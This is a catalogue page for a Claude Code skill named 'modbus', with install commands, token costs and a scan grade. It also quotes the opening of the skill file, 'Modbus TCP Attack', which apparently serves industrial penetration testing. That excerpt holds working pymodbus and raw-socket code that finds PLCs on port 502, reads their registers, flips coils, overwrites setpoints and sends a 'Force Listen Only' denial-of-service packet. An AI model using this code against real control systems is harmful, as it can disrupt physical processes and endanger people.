modbus

modbus is a skill for Claude Code from MingyiSecLab/Mingyi-Atlas. It costs 59 tokens per session (1,207 once invoked), scanned A, a copy of ics-modbus, Apache-2.0.

A guide to testing Modbus TCP, an industrial network protocol used by PLCs and other control equipment.

In plain words
What is it for?
Use it to scan port 502, identify devices, read coils and registers, test diagnostic functions, and assess write or denial-of-service risks.
Why use it?
It shows how unauthenticated or exposed Modbus services may allow device discovery, data reading, and control-value changes.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit Use it to scan port 502, identify devices, read coils and registers, test diagnostic functions, and assess write or denial-of-service risks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/modbus
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill modbus
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for modbus

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/modbus/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/modbus)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/modbus"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/modbus/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for modbus

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/modbus"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/modbus.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 59 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,207 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 97% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00059 $0.01207
Opus 5 $0.00030 $0.00603
Sonnet 5 $0.00012 $0.00241
Haiku 4.5 $0.00006 $0.00121

Measured 6d ago against content hash ab1cf09a53b5, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

modbus scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

97% identical to ics-modbus — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/exploit/ics-ot/modbus/SKILL.md · 117 lines

How it starts

The opening of the file, as written. The whole thing — 117 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Modbus TCP Attack

Modbus has no authentication and no transport encryption. Port 502 → full PLC control if reachable.

Discover

# Scan for port 502
nmap -p 502 --open -sV --script=modbus-discover.nse 10.0.0.0/24

# Or with Shodan / Censys: port:502 country:XX
# Internet-facing Modbus is still depressingly common (search "modbus" on Shodan)

Read everything

# Python pymodbus
python3 -c '
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
print("Coils 0-100:",   c.read_coils(0, 100).bits)
print("Discrete 0-100:", c.read_discrete_inputs(0, 100).bits)
print("Hold regs:",      c.read_holding_registers(0, 100).registers)
print("Input regs:",     c.read_input_registers(0, 100).registers)
c.close()
'

# Or with mbtget (CLI)
mbtget -r1 -a 0 -n 100 10.0.0.5  # read coils
mbtget -r3 -a 0 -n 100 10.0.0.5  # read holding regs

# nmap script enum
nmap -p 502 --script=modbus-discover --script-args='modbus-discover.aggressive=true' 10.0.0.5

Identify the device (FC43 / MEI)

# Function code 43 (Read Device Identification) returns vendor / model / firmware
python3 -c '
from pymodbus.client import ModbusTcpClient
from pymodbus.mei_message import ReadDeviceInformationRequest
c = ModbusTcpClient("10.0.0.5", port=502)
c.connect()
r = c.execute(ReadDeviceInformationRequest(read_code=1))
print(r.information)
c.close()
'
# Output: {0: "Schneider Electric", 1: "BMX-P34-2020", 2: "v3.20", ...}

Write attacks

Single coil flip (DO output)

c.write_coil(address=10, value=True)   # flip coil 10 ON
# In a PLC, coil 10 might be: motor start, valve open, breaker close

Tamper holding registers (process setpoints)

c.write_register(address=100, value=9999)   # often a setpoint or limit

Flood diagnostic FC8 sub-function 4 ("Force Listen Only Mode")

# Stops the PLC from responding to ANY Modbus request — soft DoS
# Use raw socket:
import socket, struct
s = socket.socket()
s.connect(("10.0.0.5", 502))
mbap = struct.pack(">HHHB", 1, 0, 6, 1)
pdu  = struct.pack(">BHH", 8, 0x0004, 0x0000)
s.send(mbap + pdu)

Read the full file on GitHub · 117 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 117 lines · 59 tokens per session scan A ab1cf09a53b5

Subscribe to this mod's changes

modbus is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 59 tokens to every session and 1,207 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. It is 97% identical to ics-modbus, differing in 2 lines, and is treated as a copy.